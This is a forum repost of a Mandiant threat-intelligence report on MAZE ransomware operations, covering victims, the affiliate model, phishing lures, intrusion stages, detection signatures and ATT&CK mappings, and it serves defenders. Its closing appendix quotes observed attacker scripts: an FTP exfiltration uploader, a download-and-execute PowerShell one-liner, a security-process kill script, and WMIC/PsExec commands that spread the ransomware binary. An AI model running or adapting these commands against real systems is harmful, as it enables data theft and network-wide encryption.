Auteur Sujet: [FireEye]Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents  (Lu 3010 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne igor51

  • Admin
  • Mega Power Members
  • *****
  • Messages: 10419
Navigating the MAZE: Tactics, Techniques and Procedures Associated With
MAZE Ransomware Incidents


[html]

Targeted ransomware incidents have brought a threat of disruptive and
  destructive attacks to organizations across industries and
  geographies. FireEye     href="/content/fireeye-www/en_US/mandiant/threat-intelligence.html">Mandiant
    Threat Intelligence has previously documented this threat in our
  investigations of     href="/content/fireeye-www/en_US/blog/threat-research/2020/03/they-come-in-the-night-ransomware-deployment-trends.html">trends
    across ransomware incidents,     href="/content/fireeye-www/en_US/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html">FIN6
  activity,     href="/content/fireeye-www/en_US/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html">implications
    for OT networks, and other aspects of post-compromise ransomware
  deployment. Since November 2019, we’ve seen the MAZE ransomware being
  used in attacks that combine targeted ransomware use, public exposure
  of victim data, and an affiliate model.


 

Malicious actors have been actively deploying MAZE ransomware since
  at least May 2019. The ransomware was initially distributed via spam
  emails and exploit kits before later shifting to being deployed
  post-compromise. Multiple actors are involved in MAZE ransomware
  operations, based on our observations of alleged users in underground
  forums and distinct tactics, techniques, and procedures across
  Mandiant incident response engagements. Actors behind MAZE also
  maintain a public-facing website where they post data stolen from
  victims who refuse to pay an extortion fee.


 

The combination of these two damaging intrusion outcomes—dumping
  sensitive data and disrupting enterprise networks—with a criminal
  service makes MAZE a notable threat to many organizations. This blog
  post is based on information derived from numerous Mandiant incident
  response engagements and our own research into the MAZE ecosystem and operations.


 

Mandiant Threat Intelligence will be available to answer questions
  on the MAZE
    ransomware threat in a May 21 webinar
.


 

Victimology


 

We are aware of more than 100 alleged MAZE victims reported by
  various media outlets and on the MAZE website since November 2019.
  These organizations have been primarily based in North America,
  although victims spanned nearly every geographical region. Nearly
  every industry sector including manufacturing, legal, financial
  services, construction, healthcare, technology, retail, and government
  has been impacted demonstrating that indiscriminate nature of these
  operations (Figure 1).


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture1.png" alt="" />
 
 Figure 1: Geographical and industry
    distribution of alleged MAZE victims


 

Multiple Actors Involved in MAZE Ransomware Operations Identified


 

Mandiant identified multiple Russian-speaking actors who claimed to
  use MAZE ransomware and were seeking partners to fulfill different
  functional roles within their teams. Additional information on these
  actors is available to     href="https://www.fireeye.com/solutions/cyber-threat-intelligence/threat-intelligence-subscriptions.html">Mandiant
    Intelligence subscribers. A panel used to manage victims
  targeted for MAZE ransomware deployment has a section for affiliate
  transactions. This activity is consistent with our assessment that
  MAZE operates under an affiliate model and is not distributed by a
  single group. Under this business model, ransomware developers will
  partner with other actors (i.e. affiliates) who are responsible for
  distributing the malware. In these scenarios, when a victim pays the
  ransom demand, the ransomware developers receive a commission. Direct
  affiliates of MAZE ransomware also partner with other actors who
  perform specific tasks for a percentage of the ransom payment. This
  includes partners who provide initial access to organizations and
  pentesters who are responsible for reconnaissance, privilege
  escalation and lateral movement—each of which who appear to work on a
  percentage-basis. Notably, in some cases, actors may be hired on a
  salary basis (vs commission) to perform specific tasks such as
  determining the victim organization and its annual revenues. This
  allows for specialization within the cyber criminal ecosystem,
  ultimately increasing efficiency, while still allowing all parties
  involved to profit.


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture2.png" alt="" />
 
 Figure 2: MAZE ransomware panel


 

MAZE Initially Distributed via Exploit Kits and Spam Campaigns


 

MAZE ransomware was initially distributed directly via     href="https://www.bleepingcomputer.com/news/security/maze-ransomware-says-computer-type-determines-ransom-amount/">exploit
  kits and     href="https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us">spam
  campaigns through late 2019. For example, in November 2019,
  Mandiant observed multiple email campaigns delivering Maze ransomware
  primarily to individuals at organizations in Germany and the United
  States, although a significant number of emails were also delivered to
  entities in Canada, Italy, and South Korea. These emails used tax,
  invoice, and package delivery themes with document attachments or
  inline links to documents which download and execute Maze ransomware.


 

On November 6 and 7, a Maze campaign targeting Germany delivered
  macro-laden documents using the subject lines “Wichtige informationen
  uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung
  19340003422 vom 07.11.19” (Figure 3). Recipients included individuals
  at organizations in a wide range of industries, with the Financial
  Services, Healthcare, and Manufacturing sectors being targeted most
  frequently. These emails were sent using a number of malicious domains
  created with the registrant address gladkoff1991@yandex.ru.


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture3.png" alt="" />
 
 Figure 3: German-language lure


 

On November 8, a campaign delivered Maze primarily to Financial
  Services and Insurance organizations located in the United states.
  These emails originated from a compromised or spoofed account and
  contained an inline link to download a Maze executable payload.


 

On November 18 and 19, a Maze campaign targeted individuals
  operating in a range of industries in the United States and Canada
  with macro documents using phone bill and package delivery themes
  (Figure 4 and Figure 5). These emails used the subjects “Missed
  package delivery” and "Your AT&T wireless bill is ready to
  view" and were sent using a number of malicious domains with the
  registrant address abusereceive@hitler.rocks. Notably, this registrant
  address was also used to create multiple Italian-language domains
  towards the end of November 2019.


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture4.png" alt="" />
 
 Figure 4: AT&T email lure


 


      src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture5.png" alt="" />
 
 Figure 5: Canada Post email lure


 

Shift to Post-Compromise Distribution Maximizes Impact


 

Actors using MAZE have increasingly shifted to deploying the
  ransomware post-compromise. This methodology provides an opportunity
  to infect more hosts within a victim’s environment and exfiltrate
  data, which is leveraged to apply additional pressure on organizations
  to pay extortion fees. Notably, in at least some cases, the actors
  behind these operations charge an additional fee, in addition to the
  decryption key, for the non-release of stolen data.


 

Although the high-level intrusion scenarios preceding the
  distribution of MAZE ransomware are broadly similar, there have been
  notable variations across intrusions that suggest attribution to
  distinct teams. Even within these teams, the cyber criminals appear to
  be task-oriented meaning that one operator is not responsible for the
  full lifecycle. The following sections highlight the TTPs seen in a
  subset of incidents and serve to illustrate the divergence that may
  occur due to the fact that numerous, disparate actors are involved in
  different phases of these operations. Notably, the time between
  initial compromise to encryption has also been widely varied, from
  weeks to many months.


 


  Initial Compromise


 

There are few clear patterns for intrusion vector across analyzed
  MAZE ransomware incidents. This is consistent with our observations of
  multiple actors who use MAZE soliciting partners with network access.
  The following are a sample of observations from several Mandiant
  incident response engagements:


 
  • A user downloaded a malicious resume-themed Microsoft Word
        document that contained macros which launched an IcedID payload,
        which was ultimately used to execute an instance of BEACON.

  •    
  • An actor logged into an internet-facing system via RDP. The
        account used to grant initial access was a generic support account.
        It is unclear how the actor obtained the account's password.

  •    
  • An actor exploited a misconfiguration on an Internet-facing
        system. This access enabled the actor to deploy tools to pivot into
        the internal network.
  • An actor logged into a Citrix web
        portal account with a weak password. This authenticated access
        enabled the actor to launch a Meterpreter payload on an internal
      system.

 


  Establish Foothold & Maintain Presence


 

The use of legitimate credentials and broad distribution of BEACON
  across victim environments appear to be consistent approaches used by
  actors to establish their foothold in victim networks and to maintain
  presence as they look to meet their ultimate objective of deploying
  MAZE ransomware. Despite these commonplace behaviors, we have observed
  an actor create their own domain account to enable latter-stage operations.


 
  • Across multiple incidents, threat actors deploying MAZE
        established a foothold in victim environments by installing BEACON
        payloads on many servers and workstations.
  • Web shells were
        deployed to an internet-facing system. The system level access
        granted by these web shells was used to enable initial privilege
        escalation and the execution of a backdoor.
  • Intrusion
        operators regularly obtained and maintained access to multiple
        domain and local system accounts with varying permissions that were
        used throughout their operations.
  • An actor created a new
        domain account and added it to the domain administrators group.

 


  Escalate Privileges


 

Although Mandiant has observed multiple cases where MAZE intrusion
  operators employed Mimikatz to collect credentials to enable privilege
  escalation, these efforts have also been bolstered in multiple cases
  via use of Bloodhound, and more manual searches for files containing credentials.


 
  • Less than two weeks after initial access, the actor downloaded
        and interacted with an archive named mimi.zip, which
        contained files corresponding to the credential harvesting tool
        Mimikatz. In the following days the same mimi.zip archive was
        identified on two domain controllers in the impacted
      environment.
  • The actor attempted to find files with the word
        “password” within the environment. Additionally, several archive
        files were also created with file names suggestive of credential
        harvesting activity.
  • The actor attempted to identify hosts
        running the KeePass password safe software.
  • Across multiple
        incidents, the Bloodhound utility was used, presumably to assess
        possible methods of obtaining credentials with domain administrator
      privileges.
  • Actors primarily used Procdump and Mimikatz to
        collect credentials used to enable later stages of their intrusion.
        Notably, both Bloodhound and PingCastle were also used, presumably
        to enable attackers' efforts to understand the impacted
        organization's Active Directory configuration. In this case the
        responsible actors also attempted to exfiltrate collected
        credentials to multiple different cloud file storage services.

 


  Reconnaissance


 

Mandiant has observed a broad range of approaches to network, host,
  data, and Active Directory reconnaissance across observed MAZE
  incidents. The varied tools and approaches across these incidents
  maybe best highlights the divergent ways in which the responsible
  actors interact with victim networks.


 
  • In some intrusions, reconnaissance activity occurred within
        three days of gaining initial access to the victim network. The
        responsible actor executed a large number of reconnaissance scripts
        via Cobalt Strike to collect network, host, filesystem, and domain
        related information.
  • Multiple built-in Windows commands
        were used to enable network, account, and host reconnaissance of the
        impacted environment, though the actors also supplied and used
        Advanced IP Scanner and Adfind to support this stage of their
      operations.
  • Preliminary network reconnaissance has been
        conducted using a batch script named '2.bat' which contained a
        series of nslookup commands. The output of this script was copied
        into a file named '2.txt'.
  • The actor exfiltrated
        reconnaissance command output data and documents related to the IT
        environment to an attacker-controlled FTP server via an encoded
        PowerShell script.
  • Over a period of several days, an actor
        conducted reconnaissance activity using Bloodhound,
        PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance
        script designed to enumerate directories across internal hosts.

  •    
  • An actor employed the adfind tool and a batch script to collect
        information about their network, hosts, domain, and users. The
        output from this batch script (2adfind.bat) was saved into an
        archive named 'ad.7z' using an instance of the 7zip archiving
        utility named 7.exe.
  • An actor used the tool
        smbtools.exe to assess whether accounts could login to
        systems across the environment.
  • An actor collected
        directory listings from file servers across an impacted environment.
        Evidence of data exfiltration was observed approximately one month
        later, suggesting that the creation of these directory listings may
        have been precursor activity, providing the actors with data they
        may have used to identify sensitive data for future
      exfiltration.

 


  Lateral Movement


 

Across the majority of MAZE ransomware incidents lateral movement
  was accomplished via Cobalt Strike BEACON and using previously
  harvested credentials. Despite this uniformity, some alternative tools
  and approaches were also observed.


 
  • Attackers relied heavily on Cobalt Strike BEACON to move
        laterally across the impacted environment, though they also tunneled
        RDP using the ngrok utility, and employed tscon to hijack legitimate
        rdp sessions to enable both lateral movement and privilege
      escalation.
  • The actor moved laterally throughout some
        networks leveraging compromised service and user accounts obtained
        from the system on which they gained their initial foothold. This
        allowed them to obtain immediate access to additional systems.
        Stolen credentials were then used to move laterally across the
        network via RDP and to install BEACON payloads providing the actors
        with access to nearly one hundred hosts.
  • An actor moved
        laterally using Metasploit and later deployed a Cobalt Strike
        payload to a system using a local administrator account.
  • At
        least one actor attempted to perform lateral movement using
        EternalBlue in early and late 2019; however, there is no evidence
        that these attempts were successful.

 


  Complete Mission


 

There was evidence suggesting data exfiltration across most analyzed
  MAZE ransomware incidents. While malicious actors could monetize
  stolen data in various way (e.g. sale in an underground forum, fraud),
  actors employing MAZE are known to threaten the release of stolen data
  if victim organizations do not pay an extortion fee.


 
  • An actor has been observed exfiltrating data to FTP servers
        using a base64-encoded PowerShell script designed to upload any
        files with .7z file extensions to a predefined FTP server using a
        hard-coded username and password. This script appears to be a slight
        variant of a script first posted to Microsoft TechNet in
      2013.
  • A different base64-encoded PowerShell command was also
        used to enable this functionality in a separate incident.

  •    
  • Actors deploying MAZE ransomware have also used the utility
        WinSCP to exfiltrate data to an attacker-controlled FTP server.

  •    
  • An actor has been observed employing a file replication utility
        and copying the stolen data to a cloud file hosting/sharing
      service.
  • Prior to deploying MAZE ransomware threat actors
        employed the 7zip utility to archive data from across various
        corporate file shares. These archives were then exfiltrated to an
        attacker-controlled server via FTP using the WinSCP utility.

 

In addition to data theft, actors deploy MAZE ransomware to encrypt
  files identified on the victim network. Notably, the aforementioned
  MAZE panel has an option to specify the date on which ransom demands
  will double, likely to create a sense of urgency to their demands.


 
  • Five days after data was exfiltrated from a victim environment
        the actor copied a MAZE ransomware binary to 15 hosts within the
        victim environment and successfully executed it on a portion of
        these systems.
  • Attackers employed batch scripts and a
        series to txt files containing host names to distribute and execute
        MAZE ransomware on many servers and workstations across the victim
      environment.
  • An actor deployed MAZE ransomware to tens of
        hosts, explicitly logging into each system using a domain
        administrator account created earlier in the intrusion.

  •    
  • Immediately following the exfiltration of sensitive data, the
        actors began deployment of MAZE ransomware to hosts across the
        network. In some cases, thousands of hosts were ultimately
        encrypted. The encryption process proceeded as follows:
    • A
              batch script named start.bat was used to execute a series
              of secondary batch scripts with names such as xaa3x.bat
              or xab3x.bat.
    • Each of these batch scripts
              contained a series of commands that employed the copy command,
              WMIC, and PsExec to copy and execute a kill script (windows.bat)
              and an instance of MAZE ransomware (sss.exe) on hosts across the
              impacted environment
    • Notably, forensic analysis of the
              impacted environment revealed MAZE deployment scripts targeting
              ten times as many hosts as were ultimately encrypted.

     

 

Implications


 

Based on our belief that the MAZE ransomware is distributed by
  multiple actors, we anticipate that the TTPs used throughout incidents
  associated with this ransomware will continue to vary somewhat,
  particularly in terms of the initial intrusion vector. For more
  comprehensive recommendations for addressing ransomware, please refer
  to our     href="/content/fireeye-www/en_US/blog/threat-research/2019/09/ransomware-protection-and-containment-strategies.html">Ransomware
    Protection and Containment Strategies blog post and the linked
        href="https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/wp-ransomware-protection-and-containment-strategies.pdf">white paper.


 

Mandiant Security Validation Actions


 

Organizations can validate their security controls against more than
  20 MAZE-specific actions with     href="https://www.fireeye.com/solutions/verodin-security-instrumentation.html">Mandiant
    Security Validation. Please see our Headline Release Content
  Updates – April 21, 2020 on the     href="https://customer.verodin.com/">Mandiant Security Validation
    Customer Portal for more information.


 
  • A100-877 - Active Directory - BloodHound, CollectionMethod
      All
  • A150-006 - Command and Control - BEACON, Check-in

  •    
  • A101-030 - Command and Control - MAZE Ransomware, C2 Beacon,
        Variant #1
  • A101-031 - Command and Control - MAZE
        Ransomware, C2 Beacon, Variant #2
  • A101-032 - Command and
        Control - MAZE Ransomware, C2 Beacon, Variant #3
  • A100-878 -
        Command and Control - MAZE Ransomware, C2 Check-in
  • A100-887
        - Command and Control - MAZE, DNS Query #1
  • A100-888 -
        Command and Control - MAZE, DNS Query #2
  • A100-889 - Command
        and Control - MAZE, DNS Query #3
  • A100-890 -  Command and
        Control - MAZE, DNS Query #4
  • A100-891 - Command and Control
        - MAZE, DNS Query #5
  • A100-509 - Exploit Kit Activity -
        Fallout Exploit Kit CVE-2018-8174, Github PoC
  • A100-339 -
        Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing
      Page
  • A101-033 - Exploit Kit Activity - Spelevo Exploit Kit,
        MAZE C2
  • A100-208 - FTP-based Exfil/Upload of PII Data
        (Various Compression)
  • A104-488 - Host CLI - Collection,
        Exfiltration: Active Directory Reconnaissance with SharpHound,
        CollectionMethod All
  • A104-046 - Host CLI - Collection,
        Exfiltration: Data from Local Drive using PowerShell

  •    
  • A104-090 - Host CLI - Collection, Impact: Creation of a Volume
        Shadow Copy
  • A104-489 - Host CLI - Collection: Privilege
        Escalation Check with PowerUp, Invoke-AllChecks
  • A104-037 -
        Host CLI - Credential Access, Discovery: File & Directory
      Discovery
  • A104-052 - Host CLI - Credential Access:
      Mimikatz
  • A104-167 - Host CLI - Credential Access: Mimikatz
      (2.1.1)
  • A104-490 - Host CLI - Defense Evasion, Discovery:
        Terminate Processes, Malware Analysis Tools
  • A104-491 - Host
        CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk

  •    
  • A104-500 - Host CLI - Discovery, Defense Evasion: Debugger
      Detection
  • A104-492 - Host CLI - Discovery, Execution:
        Antivirus Query with WMI, PowerShell
  • A104-374 - Host CLI -
        Discovery: Enumerate Active Directory Forests
  • A104-493 -
        Host CLI - Discovery: Enumerate Network Shares
  • A104-481 -
        Host CLI - Discovery: Language Query Using PowerShell, Current
      User
  • A104-482 - Host CLI - Discovery: Language Query Using
        reg query
  • A104-494 - Host CLI - Discovery: MAZE, Dropping
        Ransomware Note Burn Directory
  • A104-495 - Host CLI -
        Discovery: MAZE, Traversing Directories and Dropping Ransomware
        Note, DECRYPT-FILES.html Variant
  • A104-496 - Host CLI -
        Discovery: MAZE, Traversing Directories and Dropping Ransomware
        Note, DECRYPT-FILES.txt Variant
  • A104-027 - Host CLI -
        Discovery: Process Discovery
  • A104-028 - Host CLI -
        Discovery: Process Discovery with PowerShell
  • A104-029 -
        Host CLI - Discovery: Remote System Discovery
  • A104-153 -
        Host CLI - Discovery: Security Software Identification with
      Tasklist
  • A104-083 - Host CLI - Discovery: System Info

  •    
  • A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload

  •    
  • A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware
      Message
  • A104-227 - Host CLI - Initial Access, Lateral
        Movement: Replication Through Removable Media
  • A100-879 -
        Malicious File Transfer - Adfind.exe, Download
  • A150-046 -
        Malicious File Transfer - BEACON, Download
  • A100-880 -
        Malicious File Transfer - Bloodhound Ingestor Download, C Sharp
        Executable Variant
  • A100-881 - Malicious File Transfer -
        Bloodhound Ingestor Download, C Sharp PowerShell Variant

  •    
  • A100-882 - Malicious File Transfer - Bloodhound Ingestor
        Download, PowerShell Variant
  • A101-037 - Malicious File
        Transfer - MAZE Download, Variant #1
  • A101-038 - Malicious
        File Transfer - MAZE Download, Variant #2
  • A101-039 -
        Malicious File Transfer - MAZE Download, Variant #3

  •    
  • A101-040 - Malicious File Transfer - MAZE Download, Variant
      #4
  • A101-041 - Malicious File Transfer - MAZE Download,
        Variant #5
  • A101-042 - Malicious File Transfer - MAZE
        Download, Variant #6
  • A101-043 - Malicious File Transfer -
        MAZE Download, Variant #7
  • A101-044 - Malicious File
        Transfer - MAZE Download, Variant #8
  • A101-045 - Malicious
        File Transfer - MAZE Download, Variant #9
  • A101-034 -
        Malicious File Transfer - MAZE Dropper Download, Variant #1

  •    
  • A101-035 - Malicious File Transfer - MAZE Dropper Download,
        Variant #2
  • A100-885 - Malicious File Transfer - MAZE
        Dropper Download, Variant #4
  • A101-036 - Malicious File
        Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script
      Download
  • A100-284 - Malicious File Transfer - Mimikatz W/
        Padding (1MB), Download
  • A100-886 - Malicious File Transfer
        - Rclone.exe, Download
  • A100-484 - Scanning Activity - Nmap
        smb-enum-shares, SMB Share Enumeration

 

Detecting the Techniques


 
   
     
   
     
       
   
     
   
     


          Platform


          Signature Name


          MVX (covers multiple FireEye technologies)

Bale Detection


       

FE_Ransomware_Win_MAZE_1


          Endpoint Security

          valign="top">

WMIC SHADOWCOPY DELETE (METHODOLOGY)


         

MAZE RANSOMWARE (FAMILY)


          Network Security

        valign="top">

Ransomware.Win.MAZE

Ransomware.Maze


       

Ransomware.Maze


 

MITRE ATT&CK Mappings


 

Mandiant currently tracks three separate clusters of activity
  involved in the post-compromise distribution of MAZE ransomware.
  Future data collection and analysis efforts may reveal additional
  groups involved in intrusion activity supporting MAZE operations, or
  may instead allow us to collapse some of these groups into larger
  clusters. It should also be noted that ‘initial access’ phase
  techniques have been included in these mappings, though in some cases
  this access may have been provided by a separate threat actor(s).


 

MAZE Group 1 MITRE ATT&CK Mapping


 
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     


          ATT&CK Tactic Category


          Techniques


          Initial Access

          valign="top">

T1133: External Remote Services

T1078:
          Valid Accounts


          Execution

          valign="top">

T1059: Command-Line Interface

T1086:
        PowerShell

T1064: Scripting

T1035: Service
        Execution


          Persistence

          valign="top">

T1078: Valid Accounts

T1050: New
        Service


          Privilege Escalation

          valign="top">

T1078: Valid Accounts


          Defense Evasion

          valign="top">

T1078: Valid Accounts

T1036:
        Masquerading

T1027: Obfuscated Files or Information


         

T1064: Scripting


          Credential Access

          valign="top">

T1110: Brute Force

T1003: Credential
        Dumping


          Discovery

          valign="top">

T1087: Account Discovery

T1482: Domain
          Trust Discovery

T1083: File and Directory Discovery


         

T1135: Network Share Discovery

T1069: Permission
          Groups Discovery

T1018: Remote System Discovery


         

T1016: System Network Configuration Discovery


          Lateral Movement

          valign="top">

T1076: Remote Desktop Protocol

T1105:
          Remote File Copy


          Collection

          valign="top">

T1005: Data from Local System


          Command and Control

          valign="top">

T1043: Commonly Used Port

T1105: Remote
          File Copy

T1071: Standard Application Layer
        Protocol


          Exfiltration

          valign="top">

T1002: Data Compressed

T1048:
          Exfiltration Over Alternative Protocol


          Impact

T1486:
          Data Encrypted for Impact

T1489: Service Stop


 

MAZE Group 2 MITRE ATT&CK Mapping


 
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     


          ATT&CK Tactic Category


          Techniques


          Initial Access

          valign="top">

T1193: Spearphishing Attachment


          Execution

          valign="top">

T1059: Command-Line Interface

T1086:
        PowerShell

T1085: Rundll32

T1064: Scripting


         

T1204: User Execution

T1028: Windows Remote
        Management


          Persistence

          valign="top">

T1078: Valid Accounts

T1050: New
        Service

T1136: Create Account


          Privilege Escalation

          valign="top">

T1078: Valid Accounts

T1050: New
        Service


          Defense Evasion

          valign="top">

T1078: Valid Accounts

T1140:
          Deobfuscate/Decode Files or Information

T1107: File
        Deletion

T1036: Masquerading


          Credential Access

          valign="top">

T1003: Credential Dumping

T1081:
          Credentials in Files

T1171: LLMNR/NBT-NS Poisoning


     


          Discovery

          valign="top">

T1087: Account Discovery

T1482: Domain
          Trust Discovery

T1083: File and Directory Discovery


         

T1135: Network Share Discovery

T1069: Permission
          Groups Discovery

T1018: Remote System Discovery


         

T1033: System Owner/User Discovery


          Lateral Movement

          valign="top">

T1076: Remote Desktop Protocol

T1028:
          Windows Remote Management


          Collection

          valign="top">

T1074: Data Staged

T1005: Data from
          Local System

T1039: Data from Network Shared Drive


     


          Command and Control

          valign="top">

T1043: Commonly Used Port

T1219: Remote
          Access Tools

T1105: Remote File Copy

T1071:
          Standard Application Layer Protocol

T1032: Standard
          Cryptographic Protocol


          Exfiltration

          valign="top">

T1020: Automated Exfiltration

T1002:
          Data Compressed

T1048: Exfiltration Over Alternative
        Protocol


          Impact

T1486:
          Data Encrypted for Impact


 

MAZE Group 3 MITRE ATT&CK Mapping (FIN6)


 
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     
   
     


          ATT&CK Tactic Category


          Techniques


          Initial Access

          valign="top">

T1133: External Remote Services

T1078:
          Valid Accounts


          Execution

          valign="top">

T1059: Command-Line Interface

T1086:
        PowerShell

T1064: Scripting

T1035: Service
        Execution


          Persistence

          valign="top">

T1078: Valid Accounts

T1031: Modify
          Existing Service


          Privilege Escalation

          valign="top">

T1055: Process Injection

T1078: Valid
        Accounts


          Defense Evasion

          valign="top">

T1055: Process Injection

T1078: Valid
        Accounts

T1116: Code Signing

T1089: Disabling
          Security Tools

T1202: Indirect Command Execution


         

T1112: Modify Registry

T1027: Obfuscated Files or
        Information

T1108: Redundant Access

T1064:
        Scripting


          Credential Access

          valign="top">

T1003: Credential Dumping


          Discovery

          valign="top">

T1087: Account Discovery

T1482: Domain
          Trust Discovery

T1083: File and Directory Discovery


         

T1069: Permission Groups Discovery

T1018: Remote
          System Discovery


          Lateral Movement

          valign="top">

T1097: Pass the Ticket

T1076: Remote
          Desktop Protocol

T1105: Remote File Copy

T1077:
          Windows Admin Shares


          Collection

          valign="top">

T1074: Data Staged

T1039: Data from
          Network Shared Drive


          Command and Control

          valign="top">

T1043: Commonly Used Port

T1219: Remote
          Access Tools

T1105: Remote File Copy

T1071:
          Standard Application Layer Protocol

T1032: Standard
          Cryptographic Protocol


          Exfiltration

          valign="top">

T1002: Data Compressed


          Impact

T1486:
          Data Encrypted for Impact

T1490: Inhibit System
        Recovery

T1489: Service Stop


 

Example Commands Observed in MAZE Ransomware Incidents


 
   
     

function
          Enum-UsersFolders($PathEnum)
 {
     $foldersArr =
          'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local'

         
     Get-ChildItem -Path $PathEnum'/c$' -ErrorAction
          SilentlyContinue
     Get-ChildItem -Path
          $PathEnum'/c$/Program Files' -ErrorAction
          SilentlyContinue
     Get-ChildItem -Path
          $PathEnum'/c$/Program Files (x86)' -ErrorAction
          SilentlyContinue
 
     foreach($Directory in
          Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction
          SilentlyContinue) {
 
         foreach($SeachDir in
          $foldersArr) {
             Get-ChildItem -Path
          $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction
          SilentlyContinue
         }
     }
 }


 


  PowerShell reconnaissance script used to
    enumerate directories


 
   
     
          valign="top">

$Dir="C:/Windows/Temp/"
 #ftp
          server
 $ftp = "ftp://<IP
          Address>/incoming/"
 $user =
          "<username>"
 $pass =
          "<password>"
 $webclient = New-Object
          System.Net.WebClient
 $webclient.Credentials = New-Object
          System.Net.NetworkCredential($user,$pass)
 #list every
          sql server trace file
 foreach($item in (dir $Dir
          "*.7z")){
    "Uploading
          $item..."
    $uri = New-Object
          System.Uri($ftp+$item.Name)
  
           $webclient.UploadFile($uri, $item.FullName)
 }


 


  Decoded FTP upload PowerShell script


 
   
     

powershell -nop -exec bypass IEX
          (New-Object
          Net.Webclient).DownloadString('http://127.0.0.1:43984/');
          Add-FtpFile -ftpFilePath "ftp://<IP 
          Address>/cobalt_uploads/<file name>" -localFile
          "<local file path>\ <file name> "
          -userName "<username>" -password
        "<password>"


 


  Decoded FTP upload PowerShell script


 
   
     

[…]
 echo 7
 echo
          7
 taskkill /im csrss_tc.exe /f
 taskkill /im
          kwsprod.exe /f
 taskkill /im avkwctl.exe /f

          taskkill /im rnav.exe /f
 taskkill /im crssvc.exe
          /f
 sc config CSAuth start= disabled
 taskkill /im
          vsserv.exe /f
 taskkill /im ppmcativedetection.exe
          /f
 […]
 taskkill /im sahookmain.exe /f

          taskkill /im mcinfo.exe /f
 reg add
          "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
          Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

          netsh advfirewall firewall set rule group="remote
          desktop" new enable=Ye
 c:\windows\temp\sss.exe


     

 


  Excerpt from windows.bat kill script


 
   
     

start copy sss.exe \\<internal
          IP>\c$\windows\temp\
 start copy sss.exe
          \\<internal IP>\c$\windows\temp\
 
 start copy
          windows.bat \\<internal IP>\c$\windows\temp\
 start
          copy windows.bat \\<internal IP>\c$\windows\temp\

         
 start wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "c:\windows\temp\sss.exe"

start wmic
          /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "c:\windows\temp\sss.exe"
 
 start
          wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c c:\windows\temp\windows.bat"


         

start wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c
          c:\windows\temp\windows.bat"
 
 start wmic
          /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c copy \\<internal
          IP>\c$\windows\temp\sss.exe c:\windows\temp\"


         

start wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c copy \\<internal
          IP>\c$\windows\temp\sss.exe c:\windows\temp\"

         
 start wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c copy \\<internal
          IP>\c$\windows\temp\windows.bat c:\windows\temp\"


         

start wmic /node:"<internal IP>"
          /user:"<DOMAIN\adminaccount>"
          /password:"<password>" process call
          create "cmd.exe /c copy \\<internal
          IP>\c$\windows\temp\windows.bat c:\windows\temp\"


         

start psexec.exe \\<internal IP> -u
          <DOMAIN\adminaccount> -p
          "<password>" -d -h -r rtrsd -s
          -accepteula -nobanner c:\windows\temp\sss.exe

start
          psexec.exe \\<internal IP> -u
          <DOMAIN\adminaccount> -p
          "<password>" -d -h -r rtrsd -s
          -accepteula -nobanner c:\windows\temp\sss.exe

start
          psexec.exe \\<internal IP> -u
          <DOMAIN\adminaccount> -p
          "<password>" -d -h -r rtrsd -s
          -accepteula -nobanner c:\windows\temp\windows.bat

start
          psexec.exe \\<internal IP> -u <
            DOMAIN\adminaccount>
-p
          "<password>" -d -h -r rtrsd -s
          -accepteula -nobanner c:\windows\temp\windows.bat


 


  Example commands from MAZE distribution scripts


 
   
     

@echo off
 del done.txt

          del offline.txt
 rem Loop thru list of computer names in
          file specified on command-line
 for /f %%i in (%1) do
          call :check_machine %%i
 goto end

          :check_machine
 rem Check to see if machine is up.

          ping -n 1 %1|Find "TTL=" >NUL 2>NUL
 if
          errorlevel 1 goto down
 echo %1
 START cmd /c
          "copy [Location of MAZE binary] \\%1\c$\windows\temp
          && exit"
 timeout 1 > NUL
 echo %1
          >> done.txt
 rem wmic /node:"%1" process
          call create "regsvr32.exe /i C:\windows\temp\[MAZE binary
          name]" >> done.txt
 START "" cmd /c
          "wmic /node:"%1" process call create
          "regsvr32.exe /i C:\windows\temp\[MAZE binary name]"
          && exit"
 goto end
 :down
   rem
          Report machine down
   echo %1 >> offline.txt

        :end


 


  Example MAZE distribution script


 

